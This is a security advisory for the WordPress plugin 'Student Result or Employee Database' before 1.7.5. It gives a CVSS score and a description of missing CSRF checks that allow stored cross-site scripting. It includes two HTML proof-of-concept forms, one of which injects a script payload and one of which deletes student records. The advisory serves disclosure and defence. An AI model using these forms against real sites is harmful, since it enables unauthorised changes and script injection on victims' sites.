Student Result or Employee Database < 1.7.5 - Stored Cross Site Scripting via CSRF

2022-08-0100:00:00

Vinay Varma Mudunuri

5.4 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

JSON

The plugin does not have CSRF in its AJAX actions, allowing attackers to make logged in user with a role as low as contributor to add/edit and delete students via CSRF attacks. Furthermore, due to the lack of sanitisation and escaping, it could also lead to Stored Cross-Site scripting

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?action=ssr_add_st_submit" method="POST">
      <input type="hidden" name="rid" value='<script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?action= ssr_del_st_submit" method="POST">
      <input type="hidden" name="postID" value="<RID>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>